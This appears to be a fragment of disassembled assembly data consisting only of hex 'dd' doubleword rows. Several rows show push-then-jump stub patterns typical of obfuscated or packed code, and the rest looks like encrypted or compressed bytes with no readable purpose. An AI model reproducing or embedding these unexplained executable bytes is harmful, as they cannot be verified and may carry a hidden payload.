		dd 1768FFFBh, 0E9093A9Bh, 0FFFBB068h, 3A9C9368h, 0B05EE909h
		dd 0BF68FFFBh, 0E9093A9Dh, 0FFFBB054h, 3A9E5268h, 0B04AE909h
		dd 7B68FFFBh, 0E9093AA0h, 0FFFBB040h, 3AA15F68h, 0B036E909h
		dd 2D68FFFBh, 0E9093AA2h, 0FFFBB02Ch, 3AA2EB68h, 0B022E909h
		dd 5568FFFBh, 0E9093AA4h, 0FFFBB018h, 3AA9A368h, 0B00EE909h
		dd 8368FFFBh, 0E9093AAAh, 0FFFBB004h, 0ECB1A12Ch, 5647379Bh
		dd 0EDBEA029h, 5C413D92h, 0E5B6A42Bh, 0C50C600Fh, 57778895h
		dd 0C309F627h, 4375929Bh, 0ED1AFA23h, 88157E68h, 4AEDDCFh
		dd 435A1ACEh, 0C7D49440h, 6CED2FF8h, 9462F26Bh,	3A9BEC3Ah
		dd 0CF836D45h, 8C4D7710h, 14821444h, 34E139E3h,	811309F5h
		dd 0ACDDB2h, 428E3EB6h,	0A21F124Ch, 0CF83053Ch,	2458B726h
		dd 0F9B1727Fh, 2F66h, 1D0EEC00h, 7026567Eh, 0B199FE87h
		dd 7CACCF82h, 0B0EEF4A1h, 0CF03CF82h, 7E53908Fh, 95FA0D00h
		dd 0EB521406h, 0C38B38ACh, 0D15AF9B1h, 0A0000000h, 435A1ACEh
		dd 0A8D18940h, 0D5E777F4h, 46CF755Ch, 0C64E1FDCh, 44FFA97Fh
		dd 0C0A0144Fh, 4E2E9ACDh, 23FDB05Dh, 0FB0CC64Eh, 1276A9C9h
		dd 0C0A0141Fh, 0B10AC0B7h, 0FFB2641Ah, 0FB7B6D9Ah, 7BF55E0Eh
		dd 1CD12683h, 2CBE597Ah, 9B89360h, 424A9196h, 9984435h
		dd 39F50B24h, 964BCA79h, 0BDCF832Eh, 3247426Bh,	832951D3h
		dd 0DF1602CFh, 0F3C073EBh, 72D32424h, 0D8BADDA4h, 272069BFh
		dd 1FCDBAA0h, 0ED9A4860h, 0FD645FA9h, 6B93CB02h, 7563163Eh
		dd 493210EBh, 0F1000014h, 8C7BA0DEh, 0FA051646h, 7F80ADD1h
		dd 0FC0B104Eh, 0FC78A5D5h, 0A8D6FD51h, 0A4A8483h, 6EEEE621h
		dd 0D696423Dh, 3B9AC7C5h, 0CF8816A9h, 0CE59E1AAh, 39465707h
		dd 34BEEF8Fh, 0EA1F1D0Eh, 82B0EE6Bh, 0E61305CFh, 70F0E4D3h
		dd 988A0B9Dh, 0BBCF82B0h, 0CCB01A6Dh, 0EDF3A2F5h, 75CF82B0h
		dd 0AC538B0Ah, 2BF9B1C3h, 0ECE15A81h, 0C57C381Ch, 0BEC6h
		dd 0DB119B00h, 0AA5B4BFFh, 0CE06A093h, 97DD1E1Ah, 3A04B1Bh
		dd 0D9BDBF4h, 95C50BFCh, 2CC0A99Eh, 612E9EAEh, 7300B37Ah
		dd 92FF1E5Ch, 0C64E4957h, 0F3B8B82Ch, 4D402094h, 829E901Ch
		dd 0ECB57886h, 3B41AAD5h, 0EB93394Eh, 0BBE86DD8h, 1ACF82C3h
		dd 0C70EF90Eh, 0AB59C97h, 9982DF21h, 4B0745F8h,	0DA29ACDDh
		dd 19D8BA8Eh, 7B90A793h, 3BE2BD0h, 4E394EDAh, 0B9C6D787h
		dd 0FB206C12h, 0A6756347h, 1352EFD3h, 0D7FA0000h, 418976A7h
		dd 0DAEF101Dh, 478877A4h, 0D2F90617h, 5AF57FACh, 9E8FCF06h
		dd 2CF16D61h, 9885F5DBh, 30FD7D67h, 9092F3DCh, 0C3CF8817h
		dd 7CE3EB8h, 8F394657h,	0CE34BEEFh, 0E8011E1Ah,	5D0029F7h
		dd 258FD4CBh, 0A2275845h, 0B321CBBCh, 0F3F15336h, 8681D6EDh
		dd 37E51252h, 0DDC71503h, 733A090Ch, 66B578A4h,	11281166h
		dd 4DC232B4h, 3CF721C6h, 82D9FCBDh, 0BF998FCFh,	0D06C956h
		dd 7B816AC7h, 452078Eh,	0B761CE42h, 0C0FCEBD8h,	0E262B862h
		dd 25ABDA8Ch, 58CE5A35h, 0A62F1A2Fh, 0BDD7C33Ch, 0DB3A091Fh
		dd 0C7103EB5h, 4A3D4ADEh, 0B4CDDE9Eh, 3E5111C3h, 786CD7EAh
		dd 258114F8h, 95688BD3h, 128BB1h, 0DA983300h, 601CB6D1h
		dd 0D7874C3Bh, 6A14B9C6h, 0CF8F4641h, 237716DEh, 827DAEACh
		dd 0FC0B104Ch, 8877A4D4h, 0FD0F1C5Ch, 186F71D4h, 97E4CF88h
		dd 5A1ACE1Fh, 0CE374243h, 0C64D8054h, 392E28A5h, 40A7D4EFh
		dd 4DC64F38h, 70CF8283h, 0A196F3B8h, 0CC583737h, 6197971Eh
		dd 863D2285h, 70AFCFF9h, 1F018475h, 0D2CF8336h,	40D881FDh
		dd 36D54671h, 67C1DC98h, 0AA3DC8B1h, 59D8BDC9h,	0A6FBE570h
		dd 9500C65Ch, 0C65CA68Bh, 998F58D0h, 0E029FFAAh, 0B07DFDE7h
		dd 0F405654Fh, 0A6A68005h, 63B5C65Ch, 0DF48FB50h, 6225B0D9h
		dd 0F1CF973Ah, 5EE7D227h, 0CF833584h, 0CD3841D7h, 0CF833553h
		dd 18211008h, 0C4B5B51Fh, 3F5E1CB3h, 433B92E5h,	0A409B84Ch
		dd 4785265h, 0D696422Dh, 1D1B0CB7h, 0FEEADDECh,	2E059F7Eh
		dd 0B840AECFh, 236BBDD8h, 7561A3C8h, 9528BEE1h,	3D000011h
		dd 0C8B7E492h, 36515A02h, 0CBBCE19Dh, 38475402h, 38C4E991h
		dd 0DC82499Dh, 5E1EB0CFh, 0E29A324Dh, 5A1ACEB9h, 0AF164351h
		dd 0CF881935h, 0CEDD5526h, 0D34DB807h, 88C64D80h, 2A150690h
		dd 47CEBBC1h, 0CF82AA2Eh, 0BFC4DB4Dh, 0DC1B615h, 29EA3E51h
		dd 0CF82A9B7h, 31A2509Ch, 0B361C902h, 9DEAB365h, 0AE3E4B2Bh
		dd 2B53FA85h, 8B00B317h, 9FAA4F98h, 82FDAC36h, 1C79AFCFh
		dd 0CF82FE0Ah, 0E6963E49h, 5DCB5DA7h, 0C5B51B2Ch, 8D0283EEh
		dd 0A8D8B82Ch, 13728770h, 0C64DD411h, 0D38163E2h, 46D2C64Dh
		dd 0D7AC8791h, 1EB5C2C3h, 0E8DB2D60h, 0D0E7B4E3h, 0B8C37EFEh
		dd 803F6C0Ch, 51689197h, 0D403DD68h, 0C058C64Dh, 0FD6314F1h
		dd 2512CF82h, 0D702B1ADh, 0C4413841h, 0CF82FA62h, 370C27F1h
		dd 0C5D8984Ch, 6D615623h, 0B78A1EF1h, 0A576C554h, 42F352A7h
		dd 31D8B824h, 0BED18D46h, 0DA4E576Ah, 6202B6D1h, 0E358C62Bh
		dd 56B9C64Dh, 0E08034C7h, 5818CCBBh, 93998245h,	0C576DF66h
		dd 9385CF82h, 778E0D8Ah, 0FBC207B0h, 1276A9C9h,	60E51284h
		dd 0D8BD5655h, 0A3D274A4h, 0F0D92E2Ch, 5D517B65h, 7948E0C6h
		dd 51716F26h, 57C0C65Dh, 0F29D2851h
		dd 21CF97E4h, 0C233AD18h, 3DC8CF82h, 0CF82C2E3h, 61B7A078h
		dd 56954752h, 0FB7B53C7h, 0E4A6BE71h, 86324532h, 1ECAB5E6h
		dd 8D443F5Eh, 8678C1CDh, 56297C54h, 100F70h, 6614B700h
		dd 0DC804A35h, 631BB0CFh, 0D6804D3Ah, 6B13BAC5h, 0C71BBA42h
		dd 36515A00h, 0B0CFDC98h, 4C3B6018h, 0C1D3D898h, 1BB32D98h
		dd 0D3A8CF88h, 5707CE5Bh, 0EF8F3946h, 0D727B5B0h, 3420AE8Ch
		dd 0E21DCF59h, 0DE69584Ah, 6841EBEAh, 0F1235ED6h, 7DF2F491h
		dd 1661C64Eh, 2154C2A2h, 4FD9B4AAh, 3097B0D9h, 2B1534Ah
		dd 86157A8Dh, 7CA1C1F3h, 840E39E6h, 7D0E9EF0h, 0D5EF9BDAh
		dd 0CBE3645Fh, 6B000001h, 435A1ACEh, 0C7D49440h, 0E0292FF8h
		dd 9877E7E7h, 7EDB26D0h, 1680DFF4h, 0CEB3121Bh,	85CF8396h
		dd 67516693h, 0C57C0807h, 56BD23D2h, 8034CF83h,	43D5953Fh
		dd 0C7B7174Ch, 0AE389DC8h, 0ADCF8356h, 0A9E8A37Bh, 1B8DF1DAh
		dd 2BA3F25Dh, 0F9B12184h, 3D4Dh, 1D0E9500h, 0EE6BEA1Fh
		dd 5CF82B0h, 8795FC13h,	6ACF82B0h, 0E522FD61h, 0FE9D70EEh
		dd 5E180A89h, 0EBF56069h, 70CF82B0h, 970609B8h,	0B1C3B05Fh
		dd 0D121F9h, 3F380000h,	6EBAD595h, 1ACE5B53h, 8940435Ah
		dd 0BCCBBED1h, 0DF4C6717h, 6F9A75F5h, 3A097158h, 0D2DB9B4Dh
		dd 520AC0B7h, 8547625Fh, 493EC64Dh, 64C0DF9Fh, 76F6E24Dh
		dd 0E86D5CA5h, 0C64D84FEh, 16BCCB5Dh, 0E6DD2766h, 21A95299h
		dd 0A99EEB3Dh, 0C6623D21h, 0C20382EBh, 0D1CF8536h, 8E453247h
		dd 15BCCBD0h, 0A8DA1965h, 0B4C77C56h, 0E930Eh, 0E2903B00h
		dd 5804CEB9h, 0DF9F3453h, 621CB1CEh, 0D7874E39h, 2B7F2EC6h
		dd 9AE5B6A4h, 24634834h, 807FACACh, 5071454h, 1C6779DCh
		dd 9FECCF88h, 13B7D017h, 2DB71E6Bh, 2EC64D80h, 953C47FAh
		dd 20A594E5h, 0C64D80C6h, 0F768395h, 0C64D8115h, 7ADFD246h
		dd 0EE1B5B8Dh, 80687ADBh, 3DEBC64Dh, 0CE531F86h, 1A2D5A1Ah
		dd 97D2CDB1h, 4D80B42Eh, 2771A7C6h, 394E370Ch, 50B4EB93h
		dd 0E1E2D661h, 0A9E71EDh, 808E98FDh, 5BCDC64Dh,	359FE0CDh
		dd 3529A196h, 0DB45CE5Ah, 80C64D80h, 241FFEA8h,	0B3C4B5B3h
		dd 0DD685B1Bh, 8284E378h, 28A592CFh, 6A7CD92Eh,	0E9CF8284h
		dd 0CF59843Fh, 7CF00DEh, 82770000h, 0ED205E75h,	84E8FA9Bh
		dd 0BD6BCF82h, 1CD0EC06h, 5E09FBF3h, 121D14DDh,	25CCC3BBh
		dd 0C64DB1B7h, 5EABB17Ah, 8845A4F7h, 1465B3CFh,	0C8B1B123h
		dd 29641AAFh, 224BD540h, 1810CF88h, 91EEB38Eh, 47324727h
		dd 882264BEh, 382F7CFh,	0CF882321h, 8130E632h, 0E2ECDB0Eh
		dd 1DB4BF72h, 0BF3C315Dh, 8A757C5Bh, 0D67BCh, 0BEBC0F00h
		dd 443892EDh, 0BBA32857h, 3E3895F2h, 0C3BB126Dh, 1F7322DAh
		dd 9EE9B2A8h, 28574430h, 94F3B8A0h, 395B4020h, 1D5BC550h
		dd 8B00CF88h, 5707CEE3h, 0EF8F3946h, 3A24AD9Ah,	0E5CF1487h
		dd 127D8A85h, 0A4C4F083h, 567D8A77h, 0DA891928h, 0BF084F3h
		dd 0Dh,	8B005C53h, 0FED6C64Dh, 0FFFFFD78h, 80C65CE6h, 7C6BC64Dh
		dd 0D70A8B7Ch, 0FECF8814h, 0E2EADD2Ah, 3201A37Ah, 0E4843047h
		dd 5C1CC8B7h, 0CF8F4641h, 5B8E84BFh, 54F20D7Ch,	0CD4h
		dd 0FC21517Ch, 8697C70Bh, 0FD2E5079h, 8C91CD02h, 0F526547Bh
		dd 557CD07Fh, 0C707F825h, 53798697h, 0D305022Bh, 5D8A8A93h
		dd 881EEEF8h, 941E6DCFh, 2D5A1ACEh, 0BE3D7C7Fh,	560470F0h
		dd 8E39914Fh, 0DAAD8413h, 643B3BADh, 0CE5DBC3Fh, 91515A1Ah
		dd 0F08442E2h, 1CF3h, 0B7D07B00h, 0DC286717h, 80B82AABh
		dd 8D9BC64Dh, 8B0357B6h, 3D3C64Dh, 0FFFFFCD4h, 1F1D0EE3h
		dd 9C8E6BEAh, 33E5CF82h, 9C28B55Ch, 5C9CF82h, 8B414659h
		dd 4CC9BCD3h, 0CF829CDAh, 0FC6FAF79h, 66C9AF9Dh, 0F2536637h
		dd 0CF829CF0h, 0CCFEB563h, 0F9B1EB27h, 1D4AEh, 0F65C3400h
		dd 3BC64D80h, 379EE989h, 6ABC4847h, 1ACEB9AAh, 0E8DC675Ah
		dd 0B666A388h, 0D55ED96Ah, 57E4DFA6h, 70FC0D6Dh, 0DB97CABh
		dd 592E053Bh, 4DDC8EBCh, 0E3897AC6h, 0BAA295E0h, 5B738220h
		dd 91A0041Bh, 0A81CEF2Eh, 6FB9A127h, 9795813Eh,	0FF7F5562h
		dd 0DAAD8420h, 723B3BADh, 0FA82017h, 3669BFBFh,	31E78731h
		dd 0A3C3F582h, 9887056Ch, 9E4AC64Dh, 0DC4BFDEh,	1B82524Dh
		dd 0C528CEFCh, 0E0711E56h, 4A60F084h, 0E6000001h, 6717B7D0h
		dd 8031B312h, 0F622C64Dh, 0E484303Bh, 6A0ABEA9h, 97958641h
		dd 0B0C55762h, 47ECFE7Fh, 675CB988h, 2ECF8348h,	130A7459h
		dd 89E82771h, 0CF830793h, 0BD3160CFh, 0F9B17016h, 39BFh
		dd 1D0E0700h, 0EADFEA1Fh, 4D80796Bh, 734EDAC6h,	82B10196h
		dd 0AC3B4CFh, 0BC6C754Ch, 0B0AE34E1h, 49B4CF82h, 0C3ED92CAh
		dd 0DFEAF9B1h, 82A46C76h, 8A39EFCFh, 0BF09h, 1ACE5100h
		dd 8940435Ah, 1FC9BED1h, 0F9822A5Fh, 53BC4796h,	3F44172Ah
		dd 88413695h, 5EB32DD6h, 70A8C64Eh, 0DD98F526h,	9CC64E76h
		dd 0DD86FFADh, 67A02B4h, 4E27A37Dh, 5160B8C6h, 0A972F2E6h
		dd 0F7676760h, 0AB58C18h, 67EE1B21h, 0CF85D91Eh, 0A99EEB3Dh
		dd 3E4B3C22h, 84964DD7h, 271A0ECFh, 2F8E4542h, 5EAAE585h
		dd 0B95C4C8h, 0E9147C56h, 0AAB5Dh, 0FA785300h, 80FCD631h
		dd 0F7676C9Bh, 8AF4D926h, 0EF6F66A1h, 439736BEh, 0A2DDCE8Ch
		dd 1C6B302Ch, 0A8D7C4B4h, 1D6F3C3Ch, 204FD134h,	7704CF88h
		dd 5707CEFFh, 4E8F3946h, 0DF9F3380h, 0B3CEDF49h, 514C0CC4h
		dd 530BC0B7h, 0E1D9E83Ch, 435A1ACEh, 9D339440h,	84624BDDh
		dd 44Dh, 71E5E64h, 66EF1820h, 0CF88144Ch, 0E8DF79AFh, 67658FFh
		dd 438A7D07h, 0F6A0041Bh, 5B01F801h, 6792F700h,	9690F5CCh
		dd 0C5CF87E3h, 10616053h, 63D8BCEAh, 9684A014h,	0E7B59649h
		dd 908F198Fh, 5CECFBE1h, 99F867C6h, 8B9BBE65h, 0A22A1DF0h
		dd 8E8807BAh, 0CE000003h, 6A10B7D0h, 0E3E2D133h, 0C64D80FDh
		dd 4D80AB82h, 58D25AC6h, 0EF8E481Bh, 0B3244F62h, 9C41C4B5h
		dd 0B7CF830Fh, 93061D61h, 78A37C54h, 9C7EAh, 1E5C6F00h
		dd 0A4D8F20Dh, 1B438877h, 9ED8F512h, 235B728Dh,	7FD382FAh
		dd 0FE091248h, 8877A4D0h, 0F4131840h, 997BA0C0h, 21FBE570h
		dd 2B60CF88h, 0BB1ACE83h, 4D80C85Ah, 0B9D8BC6h,	0C0C80F14h
		dd 0B60A25B7h, 2A5942E4h, 63098223h, 0B78AF834h, 3CCBBCEh
		dd 0D9E83C53h, 88F0BDFCh, 7CBBCCFh, 0D5EC3857h,	704F5CCCh
		dd 0ED58A1A7h, 0D8C263CAh, 0E7D33B9h, 0CA90C800h, 2F46A6A6h
		dd 5AAEE199h, 9DEA3E67h, 4F3824AAh, 0D9E89038h,	10430194h
		dd 6C00C64Eh, 7B20A93Ch, 4F17C525h, 6C3BB4Fh, 0DD4B784Bh
		dd 0C4B3CEDFh, 0B7514C0Ch, 60530BC0h, 0A47BFBD3h, 1AF5755Fh
		dd 0C9BEBE2Dh, 82DAEB4Ch, 6E9E8ACFh, 7C544FD7h,	0F9A33F5Ah
		dd 0A1000008h, 1C6B302Eh, 0AAD5C6B6h, 0F703D21h, 0ACDBC0BEh
		dd 8C683525h, 18468DE1h, 9ADAF413h, 1E5E7691h, 0A6C6F20Dh
		dd 0EB6A9775h, 0CF8822F9h, 0E89315Ah, 0DFEA1F1Dh, 80796BEAh
		dd 4EDAC64Dh, 14639673h, 572CF88h, 2B7D90CEh, 537B8C7Dh
		dd 141F0184h, 0E434CF88h, 0B01E6932h, 0A9A0C9C4h, 8813BA2Ch
		dd 255399CFh, 977E7D1Fh, 0EC97AAFCh, 890CFDFBh,	0D8C2926Ah
		dd 2BB52029h, 30C64E6Dh, 88A049F8h, 6C635495h, 0BE6B22B2h
		dd 0A9C6158h, 9D9B8C37h, 0C954E96Ch, 2A1FCF82h,	74C2CC82h
		dd 0C64FB839h, 0CF833B5Ch, 75E029FFh, 0CF833B6Bh, 608938F0h
		dd 0A6BBC4C8h, 0BEE7C54h, 83B37h, 6AE8E300h, 0D08C4641h
		dd 6717BCCBh, 0DA844936h, 5F1FB6D1h, 0B307A64Eh, 324D5E1Ch
		dd 0CCBBE09Ch, 38475404h, 0CDBFEC8Ch, 22BF21A4h, 0E794CF88h
		dd 5A1ACE4Fh, 27B91C2Dh, 0CAC64D80h, 0E6425D01h, 370C27F1h
		dd 0C5D8984Ch, 3E510DC2h, 0C0DF9F49h, 88BAD924h, 0D0A3F29Dh
		dd 0C39784E4h, 0F084F71Ch, 16CC5h, 0B7D00D00h, 5402CB12h
		dd 8A39CBC2h, 5EABCBFDh, 2AED6ECEh, 0E81F740Dh,	1A37AE2h
		dd 0BE2A5D32h, 9D2EDBEh, 328FF603h, 1CF8351h, 72DEBD5Bh
		dd 82EC1113h, 4D642CFh,	132E843Ah, 127F9E8Ah, 0CF834F0Ch
		dd 34A8E756h, 0F9B1398Fh, 4ED83D4Ch, 0DCF8346h,	3427281Bh
		dd 0AF000000h, 0EA1F1D0Eh, 806C76DFh, 468DC64Dh, 0B6A30518h
		dd 0C1A11362h, 0FE873ACEh, 82B10297h, 80711CFh,	82B07369h
		dd 1180EFCFh, 0B1C336DDh, 0BB9FF9h, 0CE270000h,	40435A1Ah
		dd 0C9BED189h, 953C231Fh, 7A2CCBC6h, 4E33091Bh,	48DE4AC6h
		dd 16C6BFDEh, 72844C84h, 303BF6C3h, 0CAB7E484h,	5A6915BDh
		dd 4E1CA07Bh, 0E36257C6h, 0C64E1D01h, 80EBC652h, 38071454h
		dd 9F8348EFh, 0BDD3B427h, 987721B4h, 0E86D9A0Ch, 0CF861C9Fh
		dd 0BA05C9BEh, 84DBC95Bh, 89E8ACFh, 0D4257315h,	3D6EECE3h
		dd 0ABD38B42h, 7C5646F6h, 0D1FAC8B3h, 79000006h, 4032856h
		dd 629D8ECEh, 0D728F569h, 64A388F6h, 34C0ED6Dh,	0D08E4599h
		dd 6212BCCBh, 0D6864E39h, 6E0EBAC5h, 0A3224F3Dh, 0CF882441h
		dd 0D0D16912h, 0DE4F1E1Ch, 4AF9A4BBh, 0C3E8963Dh, 4B5010C4h
		dd 5A1ACEAFh, 0BD487F2Dh, 0D648C6F2h, 497B68DBh, 76620429h
		dd 11000000h, 0C7B0AC26h, 4DA0E43Eh, 92A177C6h,	12B7D018h
		dd 0D71E0D30h, 0E137F48Fh, 603F3F96h, 6512EDC4h, 0D5953F38h
		dd 28536EBAh, 0A52D1ABFh, 0CCA5CB9h, 9F89C64Eh,	0AB6C0009h
		dd 0AA2FB1B7h, 0F458D6B7h, 2177BE11h, 0C37EFED6h, 799A5BBAh
		dd 0D0B9CF88h, 8876DB45h, 5FA880CFh, 8876ECF6h,	6FB96FCFh
		dd 99688E69h, 0D83D4A52h, 0D8C30A20h, 0D7EFE93Fh, 47h
		dd 16B7D01Fh, 0BD2E5968h, 0C8BFCABFh, 0EC385707h, 825FF8D5h
		dd 2B1ECF82h, 828138AAh, 666C1BCFh, 1B8D17F6h, 74AB7D28h
		dd 82721EFDh, 46D538CFh, 0D32424F3h, 4D6FE172h,	31A394C6h
		dd 0C1578231h, 0E80ADCh, 0D0EA0000h, 196C12B7h,	36D2CDB1h
		dd 0E1E7307Bh, 14822D98h, 47D1CF88h, 64BE4732h,	95CF8813h
		dd 0C4603F3Fh, 0EB6B6413h, 1382863Dh, 72EAE0F3h, 0FC7C689Bh
		dd 59B84721h, 3C5B506Bh, 0BE601BC8h, 71CAF9h, 0D9F0000h
		dd 0C2351DE9h, 8179480Ah, 557E1D0Eh, 492F629h, 0DDF106F3h
		dd 80A18302h, 66B2C64Dh, 0F20401B0h, 1CF8814h, 0C8EE6917h
		dd 235BBA2Dh, 0F9BE607Ch, 9302D15Bh, 77AD75A4h,	48122F74h
		dd 0E1D04D20h, 2A62h, 1D0EE800h, 7E28547Eh, 14EB0C89h
		dd 9DAACF88h, 6D784B2Bh, 10B9CEBBh, 0E671536Eh,	53C225C0h
		dd 0BE64741Bh, 345DF9h,	5CE50000h, 0C64D9A5Eh, 9B344334h
		dd 7C4A7E9Fh, 25735C05h, 0F7A39EEAh, 0FFFFFEEDh, 0A4DDE8Eh
		dd 62E33DC8h, 0A078C64Eh, 660CBAh, 1D948EF7h, 51C7C64Eh
		dd 0B9D04862h, 4D80CA5Ch, 0A49F89C6h, 606710D7h, 178123FAh
		dd 158063E2h, 41D7CF88h, 0E992594Eh, 0DB2C7AE4h, 0BE75E5ECh
		dd 0A9A252B3h, 67B1D8C2h, 0ACAC7B28h, 1A8FFA5Bh, 5166CF88h
		dd 7A0E017Dh, 0FD0A1EC7h, 8F9CC00Ah, 186167B0h,	0C2AA32ADh
		dd 785621D8h, 0D58721FCh, 3ED041BEh, 3F4A29Fh, 8F9CDCF4h
		dd 74A855FEh, 92D2065Eh, 2A4A7E89h, 0E1E730F3h,	86202D98h
		dd 0E53367A9h, 302EA394h, 0C8988F5Dh, 0C2EFBA82h, 14EA5D54h
		dd 7D673A59h, 0F9CF30FDh, 6C5B8E81h, 8F19F464h,	1F03C7B4h
		dd 0B114BE83h, 5761362Fh, 3866F424h, 0B3196CCDh, 0E630D4CBh
		dd 7C9B50A7h, 0A83198AFh, 0C7613C3Ch, 0FFD56251h, 7B51AE7Fh
		dd 1F938BC7h, 89EA598h,	73426215h, 4FF1E5Ch, 0C18F8ECEh
		dd 0F0D3F5Eh, 5B6C3958h, 0FAEC6976h, 5957615Fh,	0E24659CFh
		dd 0EC6C64CFh, 0B7D033BFh, 0D2366911h, 0A14094DFh, 0CF59342Ah
		dd 97414659h, 0DBF0379Bh, 0E3355299h, 0FA10696h, 357B3187h
		dd 0D03F097Eh, 2426F241h, 77620AF7h, 56909B7h, 0A4D0FE09h
		dd 3636A28Dh, 49A84DC8h, 51663766h, 442F027Ch, 7FF6D090h
		dd 95FC134Bh, 0C64E298Bh, 0F88B0A85h, 8681AAD2h, 2E78D24Eh
		dd 2EDB0228h, 1B7A8F78h, 0C64DB809h, 70E3DE4Ah,	4DB81C01h
		dd 83E3D5C6h, 0B73578Ch, 1483E614h, 796F926h, 0F1C5C74h
		dd 4DD5607Eh, 701EB2C6h, 61F084DDh, 0FFFFFF6Ah,	5A1ACEE9h
		dd 0E2823651h, 0BFBF291Ch, 0DE9E3651h, 4B0BC4BFh, 54C32654h
		dd 9CAB9466h, 896E4535h, 8C4D770Ah, 1E587546h, 0A5F39588h
		dd 6E06554h, 55C64D81h,	0FCD4F0C3h, 0F084F357h,	487Eh
		dd 1D0EC400h, 4B6BEA1Fh, 0ACCF8814h, 4B48F2DBh,	13566958h
		dd 0B25CCA5Ch, 51B48223h, 0FFA86FC2h, 0A0C0F4D5h, 928D1B6Dh
		dd 0EE57A0F6h, 0D8C280C6h, 65B327B5h, 0B0505637h, 8640D801h
		dd 6DE9E6D1h, 0AFDBD632h, 4Dh, 1F1D0E37h, 49F1DDEAh, 9C347182h
		dd 0E3BA6C48h, 0F2077241h, 0D873986Ah, 0BFC6BD4h, 4E4B988Ah
		dd 566DBBC6h, 88DF3F77h, 688A0CFh, 6BA4758Fh, 4E4E9D2Ch
		dd 6C1CDC39h, 0ED3BD8C2h, 41897EEBh, 7E07021Dh,	0C64E4BA4h
		dd 0FCB761B7h, 17B7D0E2h, 0E5DC2867h, 0F90E6E5Ah, 809B8510h
		dd 68C0C64Dh, 59030659h, 511F8E77h, 61CEE5FCh, 0DB26F777h
		dd 9C73E3ECh, 9D8E3908h, 96EB6A9Fh, 0BDCF831Dh,	59BC03CAh
		dd 0CF82D0C7h, 9C0A9C8Ch, 0D10E1481h, 0E954CF82h, 0A78D32AAh
		dd 3954F9B1h, 9A000000h, 666A1CD0h, 0E35BDA92h,	4E048062h
		dd 0D345D3C6h, 444493E0h, 34C5D233h, 0A9E0CF83h, 8334BA2Ch
		dd 198F99CFh, 34918F06h, 6ED1CF83h, 4708B72Fh, 0ADD9F9B1h
		dd 21000000h, 435A1ACEh, 0BED18940h, 405F1FC9h,	0CCD19143h
		dd 4D859E49h, 16153C6h,	993FED1Ch, 0D2DB21A2h, 0F5DF4C67h
		dd 586F9A75h, 70140B73h, 2725F6C1h, 321673D2h, 9F4DCF83h
		dd 4E39B0C1h, 4952C4BAh, 5AAFAD7Eh, 0BA5184FBh,	3445D3D8h
		dd 2866C045h, 23F5C650h, 0BB122510h, 26ADDAC3h,	0B5575438h
		dd 27527563h, 1839Bh, 0B2A02B00h, 48349EE9h, 0AFAF2463h
		dd 124C817Eh, 0A7D7FE09h, 0FB4FFE76h, 8A75A6D4h, 0F4131844h
		dd 708F9CDCh, 15F72444h, 297769ECh, 0AFDCCF88h,	5707CE07h
		dd 0EF8F3946h, 0BC26AF9Ah, 9FC64D80h, 7F3BA89h,	0EA1F1D0Eh
		dd 8887F7DDh, 9AC409FCh, 27122183h, 82B0B99Eh, 415CCCCFh
		dd 82B04ED4h, 6AA914CFh, 9825AE99h, 0B0544B33h,	0E6DD2766h
		dd 0B1C30FB4h, 0B8D6F9h, 1AB0000h, 2A064040h, 6F873ACBh
		dd 435A1ACEh, 0BED18940h, 4D859457h, 587761C6h,	4D84F3EDh
		dd 66B068C6h, 0DE9E4A35h, 761304BFh, 0FC134B81h, 84F9EBA8h
		dd 0CE5AC64Dh, 346B13B7h, 0D43146D0h, 0CF82B0F7h, 96B17AAEh
		dd 312DA645h, 0ED3392E7h, 66D8BA59h, 1BB2C5B2h,	864D3A63h
		dd 84E9B4D8h, 0DDC07563h, 0A309h, 0D2804B00h, 6814BEC9h
		dd 0CF8F4443h, 322CA1DEh, 0C7B71E69h, 1B6F1ED6h, 0AAD5C6B4h
		dd 14733824h, 90EFBCBCh, 35574424h, 2A57C94Ch, 8FFCCF88h
		dd 5707CEE7h, 34AE1722h, 27C64D80h, 2C5B42F1h, 0B8CFB8B8h
		dd 0D3356810h, 6BBACB09h, 2110449Eh, 1ACEBE3Ch,	9440435Ah
		dd 0CB8C7D4h
		dd 94403F6Ch, 35CB9D4h,	913EB578h, 685C2F6Eh, 22FD7D67h
		dd 0FC0B1086h, 7275A8C8h, 10EE215Dh, 796B3E5Dh,	87C037BDh
		dd 4ADC4B8Ah, 0DB834A3Dh, 0B91560C4h, 609F06BDh, 0F019F474h
		dd 0B88BF3D7h, 32Ah, 9565CA00h,	3C5303CEh, 0C2DD9D47h
		dd 504F0FC5h, 0E4BBBB13h, 5B32289Fh, 0E6B9A128h, 5B322CA1h
		dd 0E4BBA328h, 5C332B9Fh, 76FE6880h, 24890000h,	4B85024h
		dd 1000000h, 58042444h,	81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 5E68240Ch, 89000008h, 0A2682404h,	8B093A95h
		dd 0C481240Ch, 4, 38C468h, 24248900h, 4240481h,	58000000h
		dd 74F168h, 24148900h, 5089CA89h, 34FF5A08h, 0C4815824h
		dd 4, 592434FFh, 0E904C483h, 0FFFB99E8h, 3A72DC8Bh, 47E82A96h
		dd 0B8649EE1h, 93AAB4Bh, 0E0FFC503h, 7C5FAF44h,	12FFAF2Ah
		dd 64BBB9CEh, 2A89CE2Dh, 53EAA101h, 3890C15Dh, 25D34D7Dh
		dd 2E013DADh, 4C13C0E0h, 7DA806DFh, 398CCABCh, 309FDE33h
		dd 51F8A755h, 76E2CCD4h, 5415FECBh, 54259228h, 2FFFE554h
		dd 3ACD77C2h, 39FE9CA3h, 0AC698D8Dh, 8D89093Ah,	9351629h
		dd 287D85C7h, 67040935h, 0BD890000h, 9352FBDh, 225585C7h
		dd 935h, 0BD8B0000h, 9351BD5h, 1BBDB5FFh, 8D890935h, 93521FDh
		dd 0D0595FFh, 85890935h, 93529ADh, 95FF006Ah, 9350829h
		dd 3FEBC08Bh, 838DAD98h, 877BDAD7h, 0C9766C23h,	0A4192B45h
		dd 46676C82h, 72EF93Ch,	0B7E8BA0Eh, 3E3EB4h, 0E1B352D0h
		dd 0DF9FE8D2h, 42FD3E65h, 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh
		dd 17856AA4h, 0EBC4C506h, 5F023708h, 0E7339C0Ah, 0D6DE977h
		dd 0E680000h, 0E9093AAEh, 0FFFAD210h, 3AAF0F68h, 0D206E909h
		dd 6E68FFFAh, 0E9093AB0h, 0FFFAD1FCh, 3AB1CD68h, 0D1F2E909h
		dd 6C68FFFAh, 0E9093AB3h, 0FFFAD1E8h, 3AB59668h, 0D1DEE909h
